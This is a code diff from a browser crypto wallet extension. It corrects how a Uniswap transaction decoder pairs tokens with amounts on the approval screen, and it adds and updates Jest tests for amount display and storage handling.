@@ -288,11 +401,11 @@ function decodeV4Swap(input) {
|
|||||||
);
|
);
|
||||||
const poolKey = s[0][0];
|
const poolKey = s[0][0];
|
||||||
const zeroForOne = s[0][1];
|
const zeroForOne = s[0][1];
|
||||||
if (!settleToken)
|
if (!present(settleToken))
|
||||||
settleToken = zeroForOne
|
settleToken = zeroForOne
|
||||||
? poolKey[0]
|
? poolKey[0]
|
||||||
: poolKey[1];
|
: poolKey[1];
|
||||||
if (!takeToken)
|
if (!present(takeToken))
|
||||||
takeToken = zeroForOne
|
takeToken = zeroForOne
|
||||||
? poolKey[1]
|
? poolKey[1]
|
||||||
: poolKey[0];
|
: poolKey[0];
|
||||||
@@ -320,7 +433,7 @@ function decodeV4Swap(input) {
|
|||||||
// Try to decode a Universal Router execute() call.
|
// Try to decode a Universal Router execute() call.
|
||||||
// Returns { name, description, details } matching the format used by
|
// Returns { name, description, details } matching the format used by
|
||||||
// the approval UI, or null if the calldata is not a recognised execute().
|
// the approval UI, or null if the calldata is not a recognised execute().
|
||||||
function decode(data, toAddress) {
|
function decode(data, toAddress, sources) {
|
||||||
try {
|
try {
|
||||||
const parsed = ROUTER_IFACE.parseTransaction({ data });
|
const parsed = ROUTER_IFACE.parseTransaction({ data });
|
||||||
if (!parsed) return null;
|
if (!parsed) return null;
|
||||||
@@ -331,11 +444,44 @@ function decode(data, toAddress) {
|
|||||||
|
|
||||||
let inputToken = null;
|
let inputToken = null;
|
||||||
let inputAmount = null;
|
let inputAmount = null;
|
||||||
|
let inputEstablished = false;
|
||||||
let outputToken = null;
|
let outputToken = null;
|
||||||
let minOutput = null;
|
let minOutput = null;
|
||||||
let hasUnwrapWeth = false;
|
let hasUnwrapWeth = false;
|
||||||
const commandNames = [];
|
const commandNames = [];
|
||||||
|
|
||||||
|
// THE INVARIANT: an amount and the token it is counted in always come
|
||||||
|
// from the same hop. A figure is never rendered against a token that
|
||||||
|
// did not supply it.
|
||||||
|
//
|
||||||
|
// Both sides are therefore set as a PAIR — never field by field, and
|
||||||
|
// never on truthiness. An address is never falsy once set but an
|
||||||
|
// amount of 0n is, so gating the two halves independently let a hop
|
||||||
|
// with a zero amount fix the token and leave the amount open; the next
|
||||||
|
// hop's figure was then displayed against the first hop's token, at the
|
||||||
|
// first hop's scale. A V3 USDT->WETH hop with amountIn 0 followed by a
|
||||||
|
// V2 WETH->USDC hop of 0.5e18 rendered "500000000000.0000 USDT".
|
||||||
|
//
|
||||||
|
// The input side is fixed by the first hop that states either half, the
|
||||||
|
// output side by the last, because the final leg is what the user
|
||||||
|
// receives. A half the establishing hop did not state stays null and
|
||||||
|
// the line says so, rather than being filled in from a different hop.
|
||||||
|
const setInput = (token, amount) => {
|
||||||
|
inputToken = present(token) ? token : null;
|
||||||
|
inputAmount = present(amount) ? amount : null;
|
||||||
|
inputEstablished = true;
|
||||||
|
};
|
||||||
|
const setInputOnce = (token, amount) => {
|
||||||
|
if (inputEstablished) return;
|
||||||
|
if (!present(token) && !present(amount)) return;
|
||||||
|
setInput(token, amount);
|
||||||
|
};
|
||||||
|
const setOutput = (token, amount) => {
|
||||||
|
if (!present(token) && !present(amount)) return;
|
||||||
|
outputToken = present(token) ? token : null;
|
||||||
|
minOutput = present(amount) ? amount : null;
|
||||||
|
};
|
||||||
|
|
||||||
for (let i = 0; i < commandsBytes.length; i++) {
|
for (let i = 0; i < commandsBytes.length; i++) {
|
||||||
const cmdId = commandsBytes[i] & 0x1f;
|
const cmdId = commandsBytes[i] & 0x1f;
|
||||||
commandNames.push(
|
commandNames.push(
|
||||||
@@ -346,61 +492,61 @@ function decode(data, toAddress) {
|
|||||||
try {
|
try {
|
||||||
if (cmdId === 0x0a) {
|
if (cmdId === 0x0a) {
|
||||||
const p = decodePermit2(inputs[i]);
|
const p = decodePermit2(inputs[i]);
|
||||||
if (p) {
|
// A permit states both halves itself, so it may replace an
|
||||||
inputToken = p.token;
|
// input side an earlier hop established without breaking
|
||||||
inputAmount = p.amount;
|
// the invariant.
|
||||||
}
|
if (p) setInput(p.token, p.amount);
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdId === 0x0e) {
|
if (cmdId === 0x0e) {
|
||||||
const b = decodeBalanceCheck(inputs[i]);
|
const b = decodeBalanceCheck(inputs[i]);
|
||||||
if (b) {
|
if (b) setOutput(b.token, b.minBalance);
|
||||||
outputToken = b.token;
|
|
||||||
minOutput = b.minBalance;
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdId === 0x00) {
|
if (cmdId === 0x00) {
|
||||||
const s = decodeV3SwapExactIn(inputs[i]);
|
const s = decodeV3SwapExactIn(inputs[i]);
|
||||||
if (s) {
|
if (s) {
|
||||||
if (!inputToken) inputToken = s.tokenIn;
|
setInputOnce(s.tokenIn, s.amountIn);
|
||||||
if (!inputAmount) inputAmount = s.amountIn;
|
|
||||||
// Always update output: in multi-step swaps (V3 → V4),
|
// Always update output: in multi-step swaps (V3 → V4),
|
||||||
// the last swap step determines the final output token
|
// the last swap step determines the final output token
|
||||||
// and minimum received amount.
|
// and minimum received amount.
|
||||||
outputToken = s.tokenOut;
|
setOutput(s.tokenOut, s.amountOutMin);
|
||||||
minOutput = s.amountOutMin;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdId === 0x08) {
|
if (cmdId === 0x08) {
|
||||||
const s = decodeV2SwapExactIn(inputs[i]);
|
const s = decodeV2SwapExactIn(inputs[i]);
|
||||||
if (s) {
|
if (s) {
|
||||||
if (!inputToken) inputToken = s.tokenIn;
|
setInputOnce(s.tokenIn, s.amountIn);
|
||||||
if (!inputAmount) inputAmount = s.amountIn;
|
setOutput(s.tokenOut, s.amountOutMin);
|
||||||
outputToken = s.tokenOut;
|
|
||||||
minOutput = s.amountOutMin;
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdId === 0x0b) {
|
if (cmdId === 0x0b) {
|
||||||
const w = decodeWrapEth(inputs[i]);
|
const w = decodeWrapEth(inputs[i]);
|
||||||
if (w && !inputToken) {
|
if (w) {
|
||||||
inputToken =
|
setInputOnce(
|
||||||
"0x0000000000000000000000000000000000000000";
|
"0x0000000000000000000000000000000000000000",
|
||||||
inputAmount = w.amount;
|
w.amount,
|
||||||
|
);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
if (cmdId === 0x10) {
|
if (cmdId === 0x10) {
|
||||||
const v4 = decodeV4Swap(inputs[i]);
|
const v4 = decodeV4Swap(inputs[i]);
|
||||||
if (v4) {
|
if (v4) {
|
||||||
if (!inputToken && v4.tokenIn) inputToken = v4.tokenIn;
|
setInputOnce(v4.tokenIn, v4.amountIn);
|
||||||
if (!inputAmount && v4.amountIn)
|
// Always update output: last swap step wins. A step
|
||||||
inputAmount = v4.amountIn;
|
// that carries the Min. received figure but decoded no
|
||||||
// Always update output: last swap step wins
|
// output currency makes the output *undetermined* — it
|
||||||
if (v4.tokenOut) outputToken = v4.tokenOut;
|
// is neither ETH nor whatever an earlier step named,
|
||||||
if (v4.amountOutMin) minOutput = v4.amountOutMin;
|
// and that figure is no longer counted in that token.
|
||||||
|
// Equally, a step that names an output currency but no
|
||||||
|
// minimum leaves Min. received unstated rather than
|
||||||
|
// keeping an earlier step's figure beside the new
|
||||||
|
// token. setOutput() is both rules; a step that states
|
||||||
|
// neither half leaves the output alone.
|
||||||
|
setOutput(v4.tokenOut, v4.amountOutMin);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -412,11 +558,14 @@ function decode(data, toAddress) {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Resolve token info
|
// Resolve token info. A null token on either side means the calldata
|
||||||
const inInfo = tokenInfo(inputToken);
|
// named no currency for it; tokenInfo() refuses rather than calling it
|
||||||
|
// ETH. UNWRAP_WETH is the one output that is ETH without a currency to
|
||||||
|
// decode, and it is answered here rather than left to that rule.
|
||||||
|
const inInfo = tokenInfo(inputToken, sources);
|
||||||
const outInfo = hasUnwrapWeth
|
const outInfo = hasUnwrapWeth
|
||||||
? { symbol: "ETH", decimals: 18, address: null }
|
? { symbol: "ETH", decimals: 18, address: null }
|
||||||
: tokenInfo(outputToken);
|
: tokenInfo(outputToken, sources);
|
||||||
|
|
||||||
const inSymbol = inInfo.symbol;
|
const inSymbol = inInfo.symbol;
|
||||||
const outSymbol = outInfo.symbol;
|
const outSymbol = outInfo.symbol;
|
||||||
@@ -434,7 +583,7 @@ function decode(data, toAddress) {
|
|||||||
address: toAddress,
|
address: toAddress,
|
||||||
});
|
});
|
||||||
|
|
||||||
if (inputToken && inInfo.address) {
|
if (present(inputToken) && present(inInfo.address)) {
|
||||||
const label = inSymbol
|
const label = inSymbol
|
||||||
? inSymbol + " (" + inputToken + ")"
|
? inSymbol + " (" + inputToken + ")"
|
||||||
: inputToken;
|
: inputToken;
|
||||||
@@ -446,47 +595,74 @@ function decode(data, toAddress) {
|
|||||||
});
|
});
|
||||||
} else if (inSymbol === "ETH") {
|
} else if (inSymbol === "ETH") {
|
||||||
details.push({ label: "Token In", value: "ETH (native)" });
|
details.push({ label: "Token In", value: "ETH (native)" });
|
||||||
|
} else {
|
||||||
|
// Nothing established the input token, so the line says that
|
||||||
|
// rather than going missing or naming a token by default. Same
|
||||||
|
// wording as the Token Out refusal below: the two sides of this
|
||||||
|
// screen must not describe the same condition in two ways.
|
||||||
|
details.push({ label: "Token In", value: UNNAMED_CURRENCY });
|
||||||
}
|
}
|
||||||
|
|
||||||
if (inputAmount !== null && inputAmount !== undefined) {
|
if (present(inputAmount)) {
|
||||||
const maxUint160 = BigInt(
|
// Two amounts need no scale to describe and are named rather than
|
||||||
"0xffffffffffffffffffffffffffffffffffffffff",
|
// formatted: V4's open delta, which is not a quantity at all (see
|
||||||
);
|
// OPEN_DELTA), and an unbounded permit. The open-delta test comes
|
||||||
const isUnlimited = inputAmount >= maxUint160;
|
// first — the sentinel is not a bigint and cannot be compared with
|
||||||
const amountRaw = isUnlimited
|
// one.
|
||||||
? "Unlimited"
|
let amount;
|
||||||
: formatAmount(inputAmount, inInfo.decimals);
|
if (inputAmount === OPEN_DELTA) {
|
||||||
const amountStr = isUnlimited
|
amount = { raw: OPEN_DELTA_AMOUNT, display: OPEN_DELTA_AMOUNT };
|
||||||
? "Unlimited"
|
} else if (inputAmount >= MAX_UINT160) {
|
||||||
: amountRaw + (inSymbol ? " " + inSymbol : "");
|
amount = { raw: "Unlimited", display: "Unlimited" };
|
||||||
|
} else {
|
||||||
|
amount = amountText(inputAmount, inInfo);
|
||||||
|
}
|
||||||
details.push({
|
details.push({
|
||||||
label: "Amount",
|
label: "Amount",
|
||||||
value: amountStr,
|
value: amount.display,
|
||||||
rawValue: amountRaw,
|
rawValue: amount.raw,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
if (outSymbol) {
|
// Keyed on the address, not the symbol: a token absent from the
|
||||||
if (outInfo.address) {
|
// bundled list has no symbol, and gating the line on one dropped it
|
||||||
const label = outSymbol
|
// entirely, leaving a Min. received figure with nothing saying what is
|
||||||
? outSymbol + " (" + outputToken + ")"
|
// being received. The Token In line above already falls back to the
|
||||||
: outputToken;
|
// address; this does the same.
|
||||||
details.push({
|
if (present(outInfo.address)) {
|
||||||
label: "Token Out",
|
const label = outSymbol
|
||||||
value: label,
|
? outSymbol + " (" + outInfo.address + ")"
|
||||||
address: outputToken,
|
: outInfo.address;
|
||||||
isToken: true,
|
details.push({
|
||||||
});
|
label: "Token Out",
|
||||||
} else {
|
value: label,
|
||||||
details.push({ label: "Token Out", value: outSymbol });
|
address: outInfo.address,
|
||||||
}
|
isToken: true,
|
||||||
|
});
|
||||||
|
} else if (outSymbol) {
|
||||||
|
details.push({ label: "Token Out", value: outSymbol });
|
||||||
|
} else {
|
||||||
|
// Nothing established the output token, so the line says that
|
||||||
|
// rather than going missing or naming a token by default, and a
|
||||||
|
// Min. received figure below it is never attached to a token the
|
||||||
|
// calldata did not state.
|
||||||
|
details.push({ label: "Token Out", value: UNNAMED_CURRENCY });
|
||||||
}
|
}
|
||||||
|
|
||||||
if (minOutput !== null && minOutput !== undefined) {
|
if (present(minOutput)) {
|
||||||
const minStr =
|
// A zero floor is the one case the user most needs stated: the
|
||||||
formatAmount(minOutput, outInfo.decimals) +
|
// swap guarantees nothing back. It is said in words, in the same
|
||||||
(outSymbol ? " " + outSymbol : "");
|
// register as UNNAMED_CURRENCY, because "0.0000 WETH" reads as an
|
||||||
details.push({ label: "Min. received", value: minStr });
|
// artifact of the four-decimal rule rather than as "this may
|
||||||
|
// return nothing" — and because it is true at every scale, so it
|
||||||
|
// holds even when the output token's decimals are unknown.
|
||||||
|
details.push({
|
||||||
|
label: "Min. received",
|
||||||
|
value:
|
||||||
|
minOutput === 0n
|
||||||
|
? NO_MINIMUM
|
||||||
|
: amountText(minOutput, outInfo).display,
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
details.push({ label: "Steps", value: commandNames.join(" \u2192 ") });
|
details.push({ label: "Steps", value: commandNames.join(" \u2192 ") });
|
||||||
|
|||||||
@@ -8,6 +8,8 @@
|
|||||||
// A controllable clock plus a stubbed balance refresh, so a cadence test can
|
// A controllable clock plus a stubbed balance refresh, so a cadence test can
|
||||||
// measure the interval between refreshes that actually happened rather than
|
// measure the interval between refreshes that actually happened rather than
|
||||||
// asserting the interval someone intended.
|
// asserting the interval someone intended.
|
||||||
|
const { makeStorageStub } = require("./support/storageStub");
|
||||||
|
|
||||||
let mockNow = 0;
|
let mockNow = 0;
|
||||||
const mockBalanceRefreshAt = [];
|
const mockBalanceRefreshAt = [];
|
||||||
|
|
||||||
@@ -247,32 +249,17 @@ describe("alarms module", () => {
|
|||||||
// Loads the background worker against stubbed browser APIs. The returned
|
// Loads the background worker against stubbed browser APIs. The returned
|
||||||
// store is the extension storage the worker sees, so a test can seed wallet
|
// store is the extension storage the worker sees, so a test can seed wallet
|
||||||
// state and read back what the worker persisted.
|
// state and read back what the worker persisted.
|
||||||
|
// The stub clones in both directions, as the real chrome.storage.local does,
|
||||||
|
// and carries the latency simulation above on every operation. It used to
|
||||||
|
// alias, which for this file meant the worker's in-memory wallets and the
|
||||||
|
// "stored" ones were one object — see tests/support/storageStub.js.
|
||||||
function loadBackground(initialStore = {}) {
|
function loadBackground(initialStore = {}) {
|
||||||
const storageStore = initialStore;
|
const storage = makeStorageStub(initialStore, mockStorageTick);
|
||||||
const alarmsStub = makeAlarmsStub();
|
const alarmsStub = makeAlarmsStub();
|
||||||
const listeners = { onInstalled: [], onStartup: [] };
|
const listeners = { onInstalled: [], onStartup: [] };
|
||||||
global.chrome = {
|
global.chrome = {
|
||||||
alarms: alarmsStub,
|
alarms: alarmsStub,
|
||||||
storage: {
|
storage,
|
||||||
local: {
|
|
||||||
get: async (key) => {
|
|
||||||
mockStorageTick();
|
|
||||||
return Object.prototype.hasOwnProperty.call(
|
|
||||||
storageStore,
|
|
||||||
key,
|
|
||||||
)
|
|
||||||
? { [key]: storageStore[key] }
|
|
||||||
: {};
|
|
||||||
},
|
|
||||||
set: async (items) => {
|
|
||||||
mockStorageTick();
|
|
||||||
Object.assign(storageStore, items);
|
|
||||||
},
|
|
||||||
remove: async (key) => {
|
|
||||||
delete storageStore[key];
|
|
||||||
},
|
|
||||||
},
|
|
||||||
},
|
|
||||||
runtime: {
|
runtime: {
|
||||||
onMessage: { addListener: jest.fn() },
|
onMessage: { addListener: jest.fn() },
|
||||||
onConnect: { addListener: jest.fn() },
|
onConnect: { addListener: jest.fn() },
|
||||||
@@ -301,7 +288,7 @@ function loadBackground(initialStore = {}) {
|
|||||||
}));
|
}));
|
||||||
jest.resetModules();
|
jest.resetModules();
|
||||||
require("../src/background/index");
|
require("../src/background/index");
|
||||||
return { alarmsStub, listeners, store: storageStore };
|
return { alarmsStub, listeners, storage };
|
||||||
}
|
}
|
||||||
|
|
||||||
// Flush the promise chains the startup path and the alarm handlers run on.
|
// Flush the promise chains the startup path and the alarm handlers run on.
|
||||||
@@ -410,8 +397,23 @@ describe("balance refresh steady-state cadence", () => {
|
|||||||
return {
|
return {
|
||||||
autistmask: {
|
autistmask: {
|
||||||
hasWallet: true,
|
hasWallet: true,
|
||||||
|
// A whole wallet record, not a bare address: a stored profile
|
||||||
|
// is validated against the schema on every read now
|
||||||
|
// (src/shared/stateSchema.js), and a wallet with no address
|
||||||
|
// list is one of the shapes that refuses to load.
|
||||||
wallets: [
|
wallets: [
|
||||||
{ address: "0x0000000000000000000000000000000000000001" },
|
{
|
||||||
|
name: "Wallet 1",
|
||||||
|
type: "hd",
|
||||||
|
addresses: [
|
||||||
|
{
|
||||||
|
address:
|
||||||
|
"0x0000000000000000000000000000000000000001",
|
||||||
|
balance: "0",
|
||||||
|
tokenBalances: [],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
],
|
],
|
||||||
lastBalanceRefresh: 0,
|
lastBalanceRefresh: 0,
|
||||||
},
|
},
|
||||||
@@ -476,12 +478,16 @@ describe("balance refresh steady-state cadence", () => {
|
|||||||
// The guard's actual job, and the reason it is shortened rather than
|
// The guard's actual job, and the reason it is shortened rather than
|
||||||
// removed: while the popup is open it refreshes every 10 seconds and
|
// removed: while the popup is open it refreshes every 10 seconds and
|
||||||
// stamps the same field, and the background job has nothing to add.
|
// stamps the same field, and the background job has nothing to add.
|
||||||
const store = seededStore();
|
const { alarmsStub, storage } = loadBackground(seededStore());
|
||||||
const { alarmsStub } = loadBackground(store);
|
|
||||||
await settle();
|
await settle();
|
||||||
|
|
||||||
mockNow += PERIOD_MS;
|
mockNow += PERIOD_MS;
|
||||||
store.autistmask.lastBalanceRefresh = mockNow - 10 * 1000;
|
// As the open popup's own refresh would leave it: written to storage,
|
||||||
|
// not poked into an object the worker happens to share.
|
||||||
|
storage.write("autistmask", {
|
||||||
|
...storage.read("autistmask"),
|
||||||
|
lastBalanceRefresh: mockNow - 10 * 1000,
|
||||||
|
});
|
||||||
alarmsStub.fire(BALANCE_REFRESH_ALARM);
|
alarmsStub.fire(BALANCE_REFRESH_ALARM);
|
||||||
await settle();
|
await settle();
|
||||||
|
|
||||||
|
|||||||
190
tests/approvalDisplayFloor.test.js
Normal file
190
tests/approvalDisplayFloor.test.js
Normal file
@@ -0,0 +1,190 @@
|
|||||||
|
// The floor of the approval screen's amount line.
|
||||||
|
//
|
||||||
|
// Amounts are truncated to four decimal places for scannability (README.md,
|
||||||
|
// Display Consistency). With the token's true scale resolved, that truncation
|
||||||
|
// can still take a real amount below the floor and print it as `0.0000`: one
|
||||||
|
// base unit of an 18-decimal token, or a few hundred of an 8-decimal one. On
|
||||||
|
// the one screen whose job is to state what is being authorized, a nonzero
|
||||||
|
// transfer or allowance then reads as nothing.
|
||||||
|
//
|
||||||
|
// The invariant asserted here is narrow: a nonzero amount never renders as
|
||||||
|
// zero. The four-decimal rule itself is unchanged, and the string the
|
||||||
|
// confirmation screens carry as `txInfo.amount` is the same one, so it is
|
||||||
|
// asserted on `rawValue` alongside the displayed line.
|
||||||
|
//
|
||||||
|
// Both amount paths of that screen are covered: the ERC-20 line decoded by
|
||||||
|
// `src/popup/views/approval.js`, and the swap's `Amount` and `Min. received`
|
||||||
|
// lines decoded by `src/shared/uniswap.js`.
|
||||||
|
|
||||||
|
globalThis.chrome = {
|
||||||
|
storage: { local: { get: async () => ({}), set: async () => {} } },
|
||||||
|
};
|
||||||
|
|
||||||
|
const { AbiCoder, Interface } = require("ethers");
|
||||||
|
const { ERC20_ABI } = require("../src/shared/constants");
|
||||||
|
const { state } = require("../src/shared/state");
|
||||||
|
const { decodeCalldata } = require("../src/popup/views/approval");
|
||||||
|
const uniswap = require("../src/shared/uniswap");
|
||||||
|
const {
|
||||||
|
truncateAmount,
|
||||||
|
truncateAmountNeverZero,
|
||||||
|
} = require("../src/shared/amountDisplay");
|
||||||
|
|
||||||
|
const iface = new Interface(ERC20_ABI);
|
||||||
|
|
||||||
|
// Bundled tokens, so the scale and the symbol both come from the list.
|
||||||
|
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48"; // 6 decimals
|
||||||
|
const WBT = "0x925206b8a707096Ed26ae47C84747fE0bb734F59"; // 8 decimals
|
||||||
|
const DAI = "0x6B175474E89094C44Da98b954EedeAC495271d0F"; // 18 decimals
|
||||||
|
// Outside the list, so the scale comes from what the user tracks and the line
|
||||||
|
// carries no symbol.
|
||||||
|
const NOVEL = "0xE2E0000000000000000000000000000000000E2e";
|
||||||
|
|
||||||
|
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
|
||||||
|
const SPENDER = "0x1111111111111111111111111111111111111111";
|
||||||
|
|
||||||
|
// The Uniswap swap lines land on this same approval screen.
|
||||||
|
const ROUTER = "0x66a9893cc07d91d95644aedd05d03f95e1dba8af";
|
||||||
|
const USDT = "0xdAC17F958D2ee523a2206206994597C13D831ec7"; // 6 decimals
|
||||||
|
const WETH = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2"; // 18 decimals
|
||||||
|
|
||||||
|
const coder = AbiCoder.defaultAbiCoder();
|
||||||
|
const routerIface = new Interface([
|
||||||
|
"function execute(bytes commands, bytes[] inputs, uint256 deadline)",
|
||||||
|
]);
|
||||||
|
|
||||||
|
// A V2_SWAP_EXACT_IN (command 0x08) execute() call: `amountIn` of USDT for at
|
||||||
|
// least `amountOutMin` of WETH.
|
||||||
|
function swapData(amountIn, amountOutMin) {
|
||||||
|
const input = coder.encode(
|
||||||
|
["address", "uint256", "uint256", "address[]", "bool"],
|
||||||
|
[RECIPIENT, amountIn, amountOutMin, [USDT, WETH], true],
|
||||||
|
);
|
||||||
|
return routerIface.encodeFunctionData("execute", [
|
||||||
|
"0x08",
|
||||||
|
[input],
|
||||||
|
9999999999n,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function swapDetail(amountIn, amountOutMin, label) {
|
||||||
|
const decoded = uniswap.decode(swapData(amountIn, amountOutMin), ROUTER);
|
||||||
|
return decoded.details.find((d) => d.label === label);
|
||||||
|
}
|
||||||
|
|
||||||
|
function transferData(amount) {
|
||||||
|
return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
|
||||||
|
}
|
||||||
|
|
||||||
|
function approveData(amount) {
|
||||||
|
return iface.encodeFunctionData("approve", [SPENDER, amount]);
|
||||||
|
}
|
||||||
|
|
||||||
|
// The Amount detail as the approval screen renders it: `value` is the line on
|
||||||
|
// the screen, `rawValue` is what is carried to the wait/success/error screens.
|
||||||
|
function amount(data, token) {
|
||||||
|
const decoded = decodeCalldata(data, token);
|
||||||
|
return decoded.details.find((d) => d.label === "Amount");
|
||||||
|
}
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
state.trackedTokens = [];
|
||||||
|
state.wallets = [];
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("a nonzero amount never renders as zero", () => {
|
||||||
|
test("500 base units of a 6-decimal token", () => {
|
||||||
|
const detail = amount(transferData(500n), USDC);
|
||||||
|
expect(detail.value).toBe("0.0005 USDC");
|
||||||
|
expect(detail.rawValue).toBe("0.0005");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("1 base unit of an 18-decimal token", () => {
|
||||||
|
const detail = amount(transferData(1n), DAI);
|
||||||
|
expect(detail.value).toBe("0.000000000000000001 DAI");
|
||||||
|
expect(detail.rawValue).toBe("0.000000000000000001");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("500 base units of an 8-decimal token", () => {
|
||||||
|
expect(amount(transferData(500n), WBT).rawValue).toBe("0.000005");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an allowance below the floor is not rendered as zero either", () => {
|
||||||
|
expect(amount(approveData(1n), DAI).value).toBe(
|
||||||
|
"0.000000000000000001 DAI",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
// The floor holds at any scale, not only the three above: for every
|
||||||
|
// decimals a token can declare, one base unit has to show a digit.
|
||||||
|
test("one base unit shows a significant digit at every scale", () => {
|
||||||
|
for (let decimals = 0; decimals <= 30; decimals++) {
|
||||||
|
state.trackedTokens = [{ address: NOVEL, decimals }];
|
||||||
|
expect(amount(transferData(1n), NOVEL).rawValue).toMatch(/[1-9]/);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// The swap decoder formats its own amounts, so the same floor has to hold on
|
||||||
|
// the swap lines of the same screen. `Min. received` is the sharper of the
|
||||||
|
// two: the slippage floor rendered as `0.0000` states that the swap may return
|
||||||
|
// nothing.
|
||||||
|
describe("a swap's amounts never render as zero either", () => {
|
||||||
|
test("a swap input below the floor keeps a significant digit", () => {
|
||||||
|
// 50 base units of a 6-decimal token is 0.00005.
|
||||||
|
const detail = swapDetail(50n, 10n ** 15n, "Amount");
|
||||||
|
expect(detail.value).toBe("0.00005 USDT");
|
||||||
|
expect(detail.rawValue).toBe("0.00005");
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a min-received below the floor keeps a significant digit", () => {
|
||||||
|
// 1 wei of an 18-decimal token.
|
||||||
|
expect(swapDetail(10n ** 6n, 1n, "Min. received").value).toBe(
|
||||||
|
"0.000000000000000001 WETH",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("swap amounts at or above the floor are still truncated", () => {
|
||||||
|
expect(swapDetail(1000000n, 10n ** 15n, "Amount").rawValue).toBe(
|
||||||
|
"1.0000",
|
||||||
|
);
|
||||||
|
expect(
|
||||||
|
swapDetail(1000000n, 999999999999999999n, "Min. received").value,
|
||||||
|
).toBe("0.9999 WETH");
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe("the four-decimal rule is otherwise unchanged", () => {
|
||||||
|
test("a whole amount keeps exactly four decimals", () => {
|
||||||
|
expect(amount(transferData(5000000000n), USDC).rawValue).toBe(
|
||||||
|
"5000.0000",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("precision beyond four decimals is still truncated", () => {
|
||||||
|
expect(amount(transferData(1234567890123456789n), DAI).rawValue).toBe(
|
||||||
|
"1.2345",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("an amount at the floor is not extended", () => {
|
||||||
|
expect(amount(transferData(100000000000000n), DAI).rawValue).toBe(
|
||||||
|
"0.0001",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test("a genuine zero still renders as zero", () => {
|
||||||
|
expect(amount(transferData(0n), DAI).rawValue).toBe("0.0000");
|
||||||
|
});
|
||||||
|
|
||||||
|
// The three truncators now share one module. The floor is a policy of the
|
||||||
|
// approval and confirmation screens only: the history and balance lists
|
||||||
|
// keep plain truncation, because the transaction detail view is the
|
||||||
|
// authoritative record and already shows exact precision.
|
||||||
|
test("the list rule stays unfloored", () => {
|
||||||
|
expect(truncateAmount("0.000000000000000001")).toBe("0.0000");
|
||||||
|
expect(truncateAmountNeverZero("0.000000000000000001")).toBe(
|
||||||
|
"0.000000000000000001",
|
||||||
|
);
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -153,7 +153,7 @@ describe("Back onto a view the reopened popup never rendered", () => {
|
|||||||
|
|
||||||
test("Back onto the transaction detail renders it", () => {
|
test("Back onto the transaction detail renders it", () => {
|
||||||
reopenedOn("settings", ["main", "transaction"], {
|
reopenedOn("settings", ["main", "transaction"], {
|
||||||
viewData: { tx: { hash: "0xdead" } },
|
viewData: { tx: { hash: "0xdead", from: ADDRESS, to: ADDRESS } },
|
||||||
});
|
});
|
||||||
goBack();
|
goBack();
|
||||||
expect(calls).toEqual(["transactionDetail"]);
|
expect(calls).toEqual(["transactionDetail"]);
|
||||||
@@ -162,7 +162,14 @@ describe("Back onto a view the reopened popup never rendered", () => {
|
|||||||
|
|
||||||
test("Back onto the transaction confirmation restores it", () => {
|
test("Back onto the transaction confirmation restores it", () => {
|
||||||
reopenedOn("settings", ["main", "confirm-tx"], {
|
reopenedOn("settings", ["main", "confirm-tx"], {
|
||||||
viewData: { pendingTx: { to: ADDRESS, amount: "1" } },
|
viewData: {
|
||||||
|
pendingTx: {
|
||||||
|
token: "ETH",
|
||||||
|
from: ADDRESS,
|
||||||
|
to: ADDRESS,
|
||||||
|
amount: "1",
|
||||||
|
},
|
||||||
|
},
|
||||||
});
|
});
|
||||||
goBack();
|
goBack();
|
||||||
expect(calls).toEqual(["confirmTx"]);
|
expect(calls).toEqual(["confirmTx"]);
|
||||||
@@ -171,7 +178,7 @@ describe("Back onto a view the reopened popup never rendered", () => {
|
|||||||
|
|
||||||
test("Back onto the success screen renders it", () => {
|
test("Back onto the success screen renders it", () => {
|
||||||
reopenedOn("settings", ["main", "success-tx"], {
|
reopenedOn("settings", ["main", "success-tx"], {
|
||||||
viewData: { hash: "0xdead" },
|
viewData: { hash: "0xdead", to: ADDRESS },
|
||||||
});
|
});
|
||||||
goBack();
|
goBack();
|
||||||
expect(calls).toEqual(["successTx"]);
|
expect(calls).toEqual(["successTx"]);
|
||||||
@@ -180,7 +187,7 @@ describe("Back onto a view the reopened popup never rendered", () => {
|
|||||||
|
|
||||||
test("Back onto the failure screen renders it", () => {
|
test("Back onto the failure screen renders it", () => {
|
||||||
reopenedOn("settings", ["main", "error-tx"], {
|
reopenedOn("settings", ["main", "error-tx"], {
|
||||||
viewData: { message: "execution reverted" },
|
viewData: { message: "execution reverted", to: ADDRESS },
|
||||||
});
|
});
|
||||||
goBack();
|
goBack();
|
||||||
expect(calls).toEqual(["errorTx"]);
|
expect(calls).toEqual(["errorTx"]);
|
||||||
|
|||||||
